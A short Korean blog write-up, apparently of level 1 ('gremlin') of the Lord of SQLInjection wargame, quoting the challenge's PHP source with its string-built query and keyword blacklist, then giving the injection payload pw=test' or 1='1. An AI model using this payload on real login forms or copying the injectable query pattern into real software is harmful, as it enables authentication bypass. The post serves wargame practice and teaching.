[ LOS ] Lord of SQLInjection 1번 풀이(gremlin)

sangjuns

·

2022. 1. 10. 15:00

 

문제소스

query : select id from prob_gremlin where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

 

문제 분석 및 페이로드

1. php에서 id와 pw를 GET으로 읽어와서 preg_match()함수로 몇가지 문자를 필터링한다. ( preg_match함수의 첫번째 인자는 정규 표현식으로 쓴다.

2. 대충 (ㅔrob _ . /)를 대소문자 구분 없이(i옵션) 블랙리스트 필터링을 하는것 같다.

3. '와 # "에 대해서 필터링이 없으니 basic sqli를 하면 된다.

 

?id=admin&pw=test' or 1='1

 

참고문헌 및 힘들었던 부분